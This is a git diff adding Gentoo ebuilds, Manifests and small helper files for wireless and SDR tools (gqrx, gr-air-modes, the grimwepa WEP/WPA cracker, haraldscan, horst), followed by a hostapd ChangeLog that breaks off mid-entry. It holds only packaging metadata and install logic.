+++ b/net-wireless/gqrx/gqrx-9999.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit qt4-r2 git-2
+
+DESCRIPTION="Software defined radio receiver powered by GNU Radio and Qt"
+HOMEPAGE="http://www.oz9aec.net/index.php/gnu-radio/gqrx-sdr"
+EGIT_REPO_URI="https://github.com/csete/gqrx.git"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE="uhd rtl fcd"
+
+DEPEND="net-wireless/gnuradio[fcd?]
+	rtl? ( net-wireless/rtl-sdr )
+	uhd? ( net-wireless/uhd )
+	net-wireless/gr-osmosdr
+	media-sound/pulseaudio"
+RDEPEND="${DEPEND}"
+
+src_install() {
+	dobin gqrx
+}
diff --git a/net-wireless/gr-air-modes/Manifest b/net-wireless/gr-air-modes/Manifest
new file mode 100644
index 00000000..6b165436
--- /dev/null
+++ b/net-wireless/gr-air-modes/Manifest
@@ -0,0 +1,3 @@
+AUX modes.py 164 SHA256 799f59a532004b1e69f69dc75a5f63689daae4b450c98b3c1a35bb95bac7aa15 SHA512 dc7837c115846d80e84b464cafc462dc0563567440761a18f4ca801ecfe604a5d4808a3e98e3f5d482dd275c8de5b363aa44d11244090db1e0557ee41fb933b8 WHIRLPOOL 6c144c3906a2a90053cb900f8822c4c478c9cb82259a0ddb87545195f6c6455e88f64f1f70233dc04bb03195f62355400226095710c818f89a9ce0d72e7b2dcb
+AUX rtl_modes.py 45 SHA256 9a0c8154aa3311601bb22885f5b0e4206de0173e99e03f198dae133532f085f3 SHA512 bf3fb60e1885b85adf5a6cd9306e2a874d7b38666484649b70202b959086e9c8b95bdd6cbaa3605000ebb2693c7630e5bb88b3e8d7aa4cd5ff97261c5060cb34 WHIRLPOOL c25c7dbc3f5bcd1929587c9961c81ad9efc899683930f1ab6137a13cc3475ea74463f0028ca4451be263fecd1b7760126f45a8275730cf46ebedff8e389052df
+EBUILD gr-air-modes-9999.ebuild 1028 SHA256 be60042343786cfff7aa0c19db025ec8bec81a54c6297cfa713dae1173bed10e SHA512 a0da90740c91f8c5599e87b8de7a560bf1b0bde9ff8455ade28e349c9f84eac0720ff07eacc366fe8b0eb807c3235fbf9c7be3e8e9b39b13141d7574915946cf WHIRLPOOL ce65a0127bb6f8c1c67b1eae8c45831e99bf9cd50a091aebaebfa09ead0edf0846f29d6ed1f53f8a4812f77f868dd9c6271a5f9b7074a4e07bb1b833e4e3ce01
diff --git a/net-wireless/gr-air-modes/files/modes.py b/net-wireless/gr-air-modes/files/modes.py
new file mode 100644
index 00000000..511acbef
--- /dev/null
+++ b/net-wireless/gr-air-modes/files/modes.py
@@ -0,0 +1,6 @@
+#!/bin/sh
+echo "Please call modes_rx or modes_gui instead of $0 directly"
+if [ "$0" == "rtl_modes.py" ]
+then
+	echo "for rtl devices remember to use the -d flag"
+fi
diff --git a/net-wireless/gr-air-modes/files/rtl_modes.py b/net-wireless/gr-air-modes/files/rtl_modes.py
new file mode 100644
index 00000000..60836aef
--- /dev/null
+++ b/net-wireless/gr-air-modes/files/rtl_modes.py
@@ -0,0 +1,2 @@
+#!/bin/sh
+python /usr/bin/uhd_modes.py -d $@
diff --git a/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
new file mode 100644
index 00000000..cdba5710
--- /dev/null
+++ b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit python cmake-utils git-2
+
+DESCRIPTION="This module implements a complete Mode S and ADS-B receiver for Gnuradio"
+HOMEPAGE="https://www.cgran.org/wiki/gr-air-modes"
+
+EGIT_REPO_URI="https://github.com/bistromath/gr-air-modes.git"
+#EGIT_BRANCH="master"
+#EGIT_BRANCH="qtapp"
+
+KEYWORDS=""
+
+LICENSE="GPL-3"
+SLOT="0"
+IUSE="rtl fgfs +gui uhd"
+DEPEND=">=net-wireless/gnuradio-3.6.1
+	net-wireless/gr-osmosdr
+	fgfs? ( sci-libs/scipy
+		games-simulation/flightgear )
+	rtl? ( net-wireless/rtl-sdr )
+	uhd? ( >=net-wireless/uhd-3.4.0 )
+	gui? ( dev-python/pyqwt )"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+        python_set_active_version 2
+        python_pkg_setup
+}
+
+src_compile() {
+	cmake-utils_src_compile -j1
+}
+
+src_install() {
+	cmake-utils_src_install
+	python_convert_shebangs 2 "${ED}"usr/bin/*
+	use rtl && newbin "${FILESDIR}"/modes.py rtl_modes.py
+	use uhd && newbin "${FILESDIR}"/modes.py uhd_modes.py
+}
diff --git a/net-wireless/grimwepa/Manifest b/net-wireless/grimwepa/Manifest
new file mode 100644
index 00000000..11ce8f0c
--- /dev/null
+++ b/net-wireless/grimwepa/Manifest
@@ -0,0 +1,5 @@
+AUX grimwepa.conf 159 RMD160 ec221c1b69ddc2b1a1e5f44e55d5dbeb3e26992b SHA1 972c69fa37082244785226b7686472f68f4360c2 SHA256 ba77016d42d034bc6ebce02999df87d5e2372e79acb0698e885841c0b4eacdbe
+AUX grimwepa.desktop 214 RMD160 8cbf25d885835fd0528408786788bbbce1badd77 SHA1 0855de52f0f7773104091dd2297722db837a485f SHA256 c0ea5b062d2ed5afadc5d3912ad401578ed33d37a6f9150ae1dfaf3db84e7943
+AUX grimwepa.sh 50 RMD160 883af2f0cc99cf75d40835ffe1da353a8f78777d SHA1 083f8af4321b5390c64942623746a613f40deef3 SHA256 b442447d20dcc1aa7367b3555375caa330da287fe8764638f73b56bc64007a95
+DIST grimwepa1.10a5.jar 325850 RMD160 12f854075bfcc2544d28d8d99546f1148e8c449d SHA1 8bc01a65d05336cb09a7f4dfdc8237f34b58203b SHA256 7f00b11e1d790404afe229019722b0847a7d0c9d7013a3cdd1cb45212734abe1
+EBUILD grimwepa-1.10_p5-r100.ebuild 955 RMD160 939b803cac126669340a8a31a6fec1fd6dca515d SHA1 c1e592fab3ab36c383083520ecae5d931a62184d SHA256 013c18f37c3a60b45ba408ec4505cc53d21e037676fd72a9d9eb20c3771fb756
diff --git a/net-wireless/grimwepa/files/grimwepa.conf b/net-wireless/grimwepa/files/grimwepa.conf
new file mode 100644
index 00000000..48037414
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.conf
@@ -0,0 +1,12 @@
+iface select one:
+channel 6
+allchan false
+targettimeout 3
+wpatimeout 10
+wpaword [default wordlist]
+wepattack 0
+xterm false
+irate 600
+color 2
+wpamethod 0
+shown
diff --git a/net-wireless/grimwepa/files/grimwepa.desktop b/net-wireless/grimwepa/files/grimwepa.desktop
new file mode 100644
index 00000000..d609a1d2
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.desktop
@@ -0,0 +1,14 @@
+[Desktop Entry]
+Comment=
+Exec=grimwepa
+GenericName=
+Icon=cache
+Name=GrimWepa
+Path=
+StartupNotify=true
+Terminal=0
+TerminalOptions=
+Type=Application
+X-KDE-SubstituteUID=false
+X-KDE-Username=
+Categories=Java;Utility;
diff --git a/net-wireless/grimwepa/files/grimwepa.sh b/net-wireless/grimwepa/files/grimwepa.sh
new file mode 100644
index 00000000..1e5f06e0
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+exec java -jar /usr/lib/grimwepa.jar &
diff --git a/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
new file mode 100644
index 00000000..14a95d29
--- /dev/null
+++ b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-proxy/webscarab/webscarab-20070504.ebuild,v 1.1 2007/06/17 16:14:46 mrness Exp $
+
+EAPI="2"
+
+inherit eutils
+
+DESCRIPTION="A password cracker for both WEP and WPA-encrypted access points"
+HOMEPAGE="http://code.google.com/p/grimwepa/"
+SRC_URI="http://grimwepa.googlecode.com/files/grimwepa1.10a5.jar"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+wep +extra"
+
+#	pyrit, gpu attack, FIXME use flag
+
+DEPEND=">=virtual/jre-1.5
+	net-wireless/wpa_supplicant
+	wep? ( net-analyzer/macchanger )
+	extra? ( app-crypt/crunch
+		net-analyzer/wireshark
+		net-analyzer/hydra
+		app-crypt/pyrit )"
+RDEPEND="${DEPEND}"
+
+src_install() {
+	newbin "${FILESDIR}/${PN}.sh" "${PN}"
+	insinto /usr/lib
+	newins "${DISTDIR}/${A}" "${PN}.jar"
+	insinto /etc
+	doins "${FILESDIR}"/grimwepa.conf
+	domenu "${FILESDIR}"/grimwepa.desktop
+}
diff --git a/net-wireless/haraldscan/Manifest b/net-wireless/haraldscan/Manifest
new file mode 100644
index 00000000..c211229a
--- /dev/null
+++ b/net-wireless/haraldscan/Manifest
@@ -0,0 +1,4 @@
+AUX haraldscan-maclist-path.patch 334 SHA256 70b53227f075425fec36314095d21962e3dd0e01cfb3525e3d093fa6c04547cd SHA512 2fce2b26c536f3849313d1d0243ab31cd01e4a787ffeb1c870c86db57203ae71143e23b9e4edcd2079d34853c09e5e603b88a41f670b0e05a6c7bdd3d9739d9f WHIRLPOOL ddb989a3cff3addbeb9cab6ea580eafab8e22ad4051275edcb1162c952bc503044321f75d38d5d000ba2a8603117a89927a2296c76c0654ddf28ef090163fde0
+DIST MACLIST 10369 SHA256 335582afd0e87d97cc5856ffb8bc296b169955d367309f8d40ec8db96e27c7b6 SHA512 aa73ec9945ea0af033a40d496c834c694ac6c9359db2b1fa01a7475f7602d1b96ecf6aca4978e656a46b727c0991146157c3fe4e32a4e1cb0a5715017e3d1a57 WHIRLPOOL 684a209fee50f713bb3529292dc4a6a934c6305ab506351f30c74b91b092bbda8446a958a9ec33e943d7329b52b09452ac9d0864ddaaa40317fd993b1a22ca63
+DIST haraldscan-src-0.41.tar.gz 44183 SHA256 86e4620d92725b480cd956f91746457484c746062ffc22ea57e5cc58fd10b53e SHA512 ed823c78b5664c7b515c4964c7570453f9c5595c4f61c3daf4fb8c7c8a154ab8352226b70a9dbc2a1a03563fcae6a0d93d08ecd79ee730fcf19b087b31ef7d31 WHIRLPOOL 1a99b13498104e30fb2b4883a5b8b3e3ca19ae605ed8963651b6921f3a5c89785ff0233efb5ea8b36f6e055ccd812087310099fc2c89937bbe97cc18d2e9fc07
+EBUILD haraldscan-0.41.ebuild 1209 SHA256 56411020a7aeae6351c5c0345e8898b365d97893dd0c6afb2c43911ee5b640e4 SHA512 61a4dcb7342fb079d1c16573416b61878b4fe24d372e0f8bc50a61bf556bbfb1f4c333fe9d05955347b7bcd27c4d9c32f53d028d199df35fd5d7cc64970d10cd WHIRLPOOL 80758ceddb96c826f638d8136252a02c119d38b4740b4c6046411726b61e02b0442ce814f826a88dc4724417ed2dbdde58ad49393ba9c141d6da774ff5675e63
diff --git a/net-wireless/haraldscan/files/haraldscan-maclist-path.patch b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch
new file mode 100644
index 00000000..3ef80ee0
--- /dev/null
+++ b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch
@@ -0,0 +1,11 @@
+--- a/haraldmodules/haraldupdate.py	2010-01-15 15:01:44.939988340 +0100
++++ b/haraldmodules/haraldupdate.py	2010-01-15 15:01:58.978014426 +0100
+@@ -35,7 +35,7 @@
+     llines = 0
+     
+     
+-    flocal = open('MACLIST', 'rb')
++    flocal = open('/usr/share/haraldscan/MACLIST', 'rb')
+     
+     for line in flocal:
+         llines+=1
diff --git a/net-wireless/haraldscan/haraldscan-0.41.ebuild b/net-wireless/haraldscan/haraldscan-0.41.ebuild
new file mode 100644
index 00000000..e4579fb8
--- /dev/null
+++ b/net-wireless/haraldscan/haraldscan-0.41.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+
+PYTHON_DEPEND="2"
+
+inherit python eutils
+
+DESCRIPTION="A Bluetooth discovery scanner"
+HOMEPAGE="http://code.google.com/p/haraldscan/"
+SRC_URI="http://haraldscan.googlecode.com/files/${PN}-src-${PV}.tar.gz 
+	http://haraldscan.googlecode.com/svn/trunk/MACLIST"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="$RDEPEND"
+RDEPEND="dev-python/pybluez"
+
+#S="${WORKDIR}"/${PN}-${PV}
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+}
+
+src_unpack() {
+	mkdir "${S}"
+	cd "${S}"
+	unpack ${A}
+	cd "${S}"
+}
+src_prepare() {
+	epatch "${FILESDIR}"/haraldscan-maclist-path.patch
+}
+src_install() {
+	insinto $(python_get_sitedir)/haraldmodules
+	doins haraldmodules/*.py
+	dobin haraldscan.py
+	insinto /usr/share/haraldscan
+#	doins MACLIST
+	cp "${DISTDIR}"/MACLIST "${D}"/usr/share/${PN}/
+	dodoc doc/README
+}
+
+pkg_postinst() {
+	python_mod_optimize haraldmodules
+#	einfo "Updating MAC database..."
+#	haraldscan.py -u >/dev/null 2>&1 || true
+	elog "Run 'haraldscan.py -u' to create macinfo.db in a current directory"
+}
+
+pkg_postrm() {
+	python_mod_cleanup haraldmodules
+}
diff --git a/net-wireless/horst/Manifest b/net-wireless/horst/Manifest
new file mode 100644
index 00000000..aaf44c9d
--- /dev/null
+++ b/net-wireless/horst/Manifest
@@ -0,0 +1,2 @@
+DIST horst-3.0.tar.gz 63179 RMD160 9fb84a68baef5a09a5bb6f7a433ddc967fb3ae90 SHA1 b7bf94f819285c3d0e79d0fba921ab8221cc6e47 SHA256 7d8de85ff8715f3bea7ccecc0382e2d3c48bccce4be6dee5f1d0d15447776cc8
+EBUILD horst-3.0.ebuild 553 RMD160 4d677bd11488714f238cc405e5bcb4909285ab78 SHA1 46c27db06a6bec346b7103b9764d634714b6ec70 SHA256 b7e358ace47d2c4f7685240b9843ad211af3b70cfdd6dffdfbb191c8bcfc07f6
diff --git a/net-wireless/horst/horst-3.0.ebuild b/net-wireless/horst/horst-3.0.ebuild
new file mode 100644
index 00000000..6a990ab6
--- /dev/null
+++ b/net-wireless/horst/horst-3.0.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Small 802.11 wireless LAN analyzer"
+HOMEPAGE="http://br1.einfach.org/tech/horst/"
+SRC_URI="http://br1.einfach.org/horst_dl/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+pcap"
+
+DEPEND="sys-libs/ncurses
+	pcap? ( net-libs/libpcap )"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+	if use pcap; then
+		emake PCAP=1
+	else
+		emake
+	fi
+}
+
+src_install() {
+	dosbin horst
+	dodoc ChangeLog README TODO
+}
diff --git a/net-wireless/hostapd/ChangeLog b/net-wireless/hostapd/ChangeLog
new file mode 100644
index 00000000..f0e55f20
--- /dev/null
+++ b/net-wireless/hostapd/ChangeLog
@@ -0,0 +1,579 @@
+# ChangeLog for net-wireless/hostapd
+# Copyright 1999-2011 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/ChangeLog,v 1.110 2011/04/21 13:53:15 tomka Exp $
+
+  21 Apr 2011; Thomas Kahle <tomka@gentoo.org> hostapd-0.7.3.ebuild:
+  x86 stable per bug 360997
+
+  29 Mar 2011; Christoph Mende <angelos@gentoo.org> hostapd-0.7.3.ebuild:
+  Stable on amd64 wrt bug #360997
+
+*hostapd-0.7.3 (08 Sep 2010)
+
+  08 Sep 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -hostapd-0.6.8.ebuild, -hostapd-0.6.10.ebuild, -hostapd-0.7.2.ebuild,
+  +hostapd-0.7.3.ebuild:
+  Bumping to 0.7.3 and removing old versions.
+  This version is the first in the 0.7 stable series from upstream.
+
+*hostapd-0.7.2 (23 May 2010)
+
+  23 May 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -hostapd-0.7.1.ebuild, +hostapd-0.7.2.ebuild:
+  Bumping to 0.7.2, fixing bug #319923
+
+*hostapd-0.7.1 (24 Jan 2010)
+
+  24 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -hostapd-0.7.0.ebuild, -files/hostapd-0.7.0-fix_linking.patch,
+  +hostapd-0.7.1.ebuild:
+  Bumping to 0.7.1 , fixing bugs #301540 and #301542
+
+*hostapd-0.7.0 (16 Jan 2010)
+
+  16 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  +hostapd-0.7.0.ebuild, +files/hostapd-0.7.0-fix_linking.patch,
+  metadata.xml:
+  Bumping to 0.7.0
+
+*hostapd-0.6.10 (14 Jan 2010)
+
+  14 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.8.ebuild, -files/hostapd-0.6.8-conf.d,
+  -files/hostapd-0.6.8-init.d, hostapd-0.6.9.ebuild,
+  -files/hostapd-0.6.9-conf.d, -files/hostapd-0.6.9-init.d,
+  +hostapd-0.6.10.ebuild, +files/hostapd-conf.d, +files/hostapd-init.d:
+  Bumping to 0.6.10 and removing redundant init.d and conf.d files
+
+  11 Sep 2009; Diego E. Pettenò <flameeyes@gentoo.org>
+  hostapd-0.6.8.ebuild, hostapd-0.6.9.ebuild:
+  Fix RDEPEND assignment that nilled the runtime dependencies.
+
+  24 May 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.9.ebuild:
+  amd64/x86 stable, bug #270148
+
+  21 May 2009; Brent Baude <ranger@gentoo.org> hostapd-0.6.9.ebuild:
+  stable ppc, bug 270148
+
+  17 May 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  files/hostapd-0.6.8-init.d, files/hostapd-0.6.9-init.d:
+  Fixing init script, so it is POSIX compliant, fixing bug #269063
+
+  16 Apr 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.9.ebuild:
+  Porting ebuild to EAPI 2
+
+  05 Apr 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.5.10-conf.d, -files/hostapd-0.5.10-init.d,
+  -hostapd-0.5.10.ebuild:
+  Removing 0.5.10, since it has been superseeded by 0.6.8
+
+  04 Apr 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.8.ebuild:
+  amd64/x86 stable, bug #263673
+
+  24 Mar 2009; Joseph Jezak <josejx@gentoo.org> hostapd-0.6.8.ebuild:
+  Marked ppc stable for bug #263673.
+
+*hostapd-0.6.9 (25 Mar 2009)
+
+  25 Mar 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.7-conf.d, -files/hostapd-0.6.7-init.d,
+  +files/hostapd-0.6.9-conf.d, +files/hostapd-0.6.9-init.d,
+  -hostapd-0.6.7.ebuild, +hostapd-0.6.9.ebuild:
+  Bumping to 0.6.9 and removing 0.6.7
+
+  27 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild:
+  Added info regarding madwifi and wme_enabled
+
+  27 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild:
+  Adding support for 802.11n and removing stable flags from 0.6.7, since it
+  is still from the development branch.
+
+  25 Feb 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.7.ebuild:
+  amd64/x86 stable, bug #259285
+
+*hostapd-0.6.8 (16 Feb 2009)
+
+  16 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  +files/hostapd-0.6.8-conf.d, +files/hostapd-0.6.8-init.d,
+  +hostapd-0.6.8.ebuild:
+  Bumping to 0.6.8
+
+*hostapd-0.6.7 (06 Jan 2009)
+
+  06 Jan 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.6-conf.d, -files/hostapd-0.6.6-init.d,
+  +files/hostapd-0.6.7-conf.d, +files/hostapd-0.6.7-init.d, metadata.xml,
+  -hostapd-0.6.6.ebuild, +hostapd-0.6.7.ebuild:
+  Bumping to 0.6.7 and adding WPS support to the ebuild
+
+  29 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.6.ebuild:
+  Fixing typo in version check reported by Jackie
+
+*hostapd-0.6.6 (14 Dec 2008)
+
+  14 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.5-conf.d, -files/hostapd-0.6.5-init.d,
+  +files/hostapd-0.6.6-conf.d, +files/hostapd-0.6.6-init.d,
+  -hostapd-0.6.5.ebuild, +hostapd-0.6.6.ebuild:
+  Bumping to 0.6.6
+
+*hostapd-0.6.5 (14 Dec 2008)
+
+  14 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.4-conf.d, -files/hostapd-0.6.4-init.d,
+  +files/hostapd-0.6.5-conf.d, +files/hostapd-0.6.5-init.d,
+  -hostapd-0.6.4.ebuild, +hostapd-0.6.5.ebuild:
+  Bumping to 0.6.5 and removing broken nl80211 check
+
+  23 Aug 2008; Doug Goldstein <cardoe@gentoo.org> metadata.xml:
+  add GLEP 56 USE flag desc from use.local.desc
+
+  20 Aug 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.4.9-conf.d, -files/hostapd-0.4.9-init.d,
+  -hostapd-0.4.9.ebuild:
+  Removing 0.4.9, since it has been out of development for a long time, and
+  0.5.10 finally is stable
+
+  20 Aug 2008; Markus Meier <maekke@gentoo.org> hostapd-0.5.10.ebuild:
+  amd64/x86 stable, bug #234503
+
+  12 Aug 2008; Brent Baude <ranger@gentoo.org> hostapd-0.5.10.ebuild:
+  stable ppc, bug 234503
+
+*hostapd-0.6.4 (11 Aug 2008)
+
+  11 Aug 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.3-conf.d, -files/004-nl80211-rename-STAT-to-INFO.patch,
+  -files/hostapd-0.6.3-init.d, +files/hostapd-0.6.4-conf.d,
+  +files/hostapd-0.6.4-init.d, metadata.xml, -hostapd-0.6.3-r1.ebuild,
+  +hostapd-0.6.4.ebuild:
+  Bumping to version 0.6.4 and adding use flag info to metadata.xml
+
+  11 Jul 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.3-r1.ebuild:
+  Added note about kernel missing patch with download link
+
+*hostapd-0.6.3-r1 (05 Jun 2008)
+
+  05 Jun 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  +files/004-nl80211-rename-STAT-to-INFO.patch, -hostapd-0.6.3.ebuild,
+  +hostapd-0.6.3-r1.ebuild:
+  Bumping to 0.6.3-r1, finally adding support for nl80211.
+
+  03 Jun 2008; Michael Sterrett <mr_bones_@gentoo.org> hostapd-0.4.9.ebuild,
+  hostapd-0.5.10.ebuild, hostapd-0.6.3.ebuild:
+  remove reference to old, removed net-wireless/madwifi-ng
+
+*hostapd-0.5.10 (15 May 2008)
+
+  15 May 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.5.8-conf.d, -files/hostapd-0.5.8-init.d,
+  +files/hostapd-0.5.10-conf.d, +files/hostapd-0.5.10-init.d,
+  -hostapd-0.5.8.ebuild, +hostapd-0.5.10.ebuild:
+  Bumping to version 0.5.10
+
+*hostapd-0.6.3 (11 Mar 2008)
+
+  11 Mar 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.1-conf.d, -files/hostapd-0.6.1-init.d,
+  +files/hostapd-0.6.3-conf.d, +files/hostapd-0.6.3-init.d,
+  -hostapd-0.6.1.ebuild, +hostapd-0.6.3.ebuild:
+  Bumping to version 0.6.3
+
+*hostapd-0.6.1 (10 Dec 2007)
+
+  10 Dec 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.6.0-conf.d, -files/hostapd-0.6.0-init.d,
+  +files/hostapd-0.6.1-conf.d, +files/hostapd-0.6.1-init.d,
+  -hostapd-0.6.0.ebuild, +hostapd-0.6.1.ebuild:
+  Bumping to version 0.6.1
+
+  10 Sep 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  hostapd-0.6.0.ebuild:
+  Removed support for mac80211 since it is broken for now
+
+  19 Jun 2007; Stefan Schweizer <genstef@gentoo.org> hostapd-0.4.9.ebuild,
+  hostapd-0.5.8.ebuild, hostapd-0.6.0.ebuild:
+  New madwifi-ng-tools depends thanks to Gordon Malm
+  <bugs-gentoo-org-01@bumpin.org> in bug 179348
+
+*hostapd-0.5.8 (06 Jun 2007)
+
+  06 Jun 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.5.7-conf.d, -files/hostapd-0.5.7-init.d,
+  +files/hostapd-0.5.8-conf.d, +files/hostapd-0.5.8-init.d,
+  -hostapd-0.5.7.ebuild, +hostapd-0.5.8.ebuild:
+  Bumping to version 0.5.8 and removing 0.5.7
+
+*hostapd-0.6.0 (06 Jun 2007)
+
+  06 Jun 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+  -files/hostapd-0.4.7-conf.d, -files/hostapd-0.4.7-init.d,
+  -files/hostapd-0.4.8-conf.d, -files/hostapd-0.4.8-init.d,
+  -files/hostapd-0.5.2-conf.d, -files/hostapd-0.5.2-init.d,
+  -files/hostapd-0.5.2-ssl.patch, -files/hostapd-0.5.3-conf.d,
+  -files/hostapd-0.5.3-init.d, -files/hostapd-0.5.3-os_get_random.patch,
+  -files/hostapd-0.5.4-conf.d, -files/hostapd-0.5.4-init.d,
+  +files/hostapd-0.6.0-conf.d, +files/hostapd-0.6.0-init.d, metadata.xml,
+  +hostapd-0.6.0.ebuild:
+  Bumping to version 0.6.0, removed stalled files and added myself as maintainer
+
+  11 Mar 2007; Petteri Räty <betelgeuse@gentoo.org> metadata.xml:
+  Fix metadata.xml white space.
+
+  11 Mar 2007; Petteri Räty <betelgeuse@gentoo.org> hostapd-0.4.9.ebuild,
+  hostapd-0.5.7.ebuild:
+  Fix ROOT usage wrt bug #168039.
+
+*hostapd-0.5.7 (10 Feb 2007)
+
+  10 Feb 2007; Christian Heim <phreak@gentoo.org>
+  +files/hostapd-0.5.7-conf.d, +files/hostapd-0.5.7-init.d,
+  +hostapd-0.5.7.ebuild:
+  Version bump, thanks to Conrad Kostecki <ConiKost at gmx.de> in #150769.
+
+  10 Sep 2006; Bryan Østergaard <kloeri@gentoo.org> metadata.xml:
+  Remove brix from metadata.xml.
+
+  03 Sep 2006; Michael Hanselmann <hansmi@gentoo.org> hostapd-0.4.9.ebuild:
+  Stable on ppc.
+
+  26 Jun 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.9.ebuild:
+  Stable on x86.
+
+*hostapd-0.5.4 (21 Jun 2006)
+
+  21 Jun 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.5.4-conf.d, +files/hostapd-0.5.4-init.d,
+  +hostapd-0.5.4.ebuild:
+  New developer snapshot.
+
+*hostapd-0.4.9 (27 May 2006)
+
+  27 May 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.4.9-conf.d, +files/hostapd-0.4.9-init.d,
+  +hostapd-0.4.9.ebuild:
+  Version bump.
+
+*hostapd-0.5.3 (29 Apr 2006)
+
+  29 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.5.3-conf.d, +files/hostapd-0.5.3-init.d,
+  +files/hostapd-0.5.3-os_get_random.patch, +hostapd-0.5.3.ebuild:
+  New development snapshot.
+
+  14 Apr 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild,
+  hostapd-0.5.2.ebuild:
+  Updated madwifi dependencies.
+
+  26 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+  -files/hostapd-0.5.0-conf.d, -files/hostapd-0.5.0-init.d,
+  -files/hostapd-0.5.1-conf.d, -files/hostapd-0.5.1-init.d,
+  +files/hostapd-0.5.2-ssl.patch, -hostapd-0.4.7-r1.ebuild,
+  -hostapd-0.5.0.ebuild, -hostapd-0.5.0-r1.ebuild, -hostapd-0.5.1.ebuild,
+  hostapd-0.5.2.ebuild:
+  Fix compilation with USE=-ssl, thanks to langthang in bug #127598. Pruned
+  old ebuilds.
+
+*hostapd-0.5.2 (20 Mar 2006)
+
+  20 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.5.2-conf.d, +files/hostapd-0.5.2-init.d,
+  +hostapd-0.5.2.ebuild:
+  New development snapshot.
+
+  15 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild:
+  Stable on x86.
+
+  27 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild,
+  hostapd-0.5.0.ebuild, hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild:
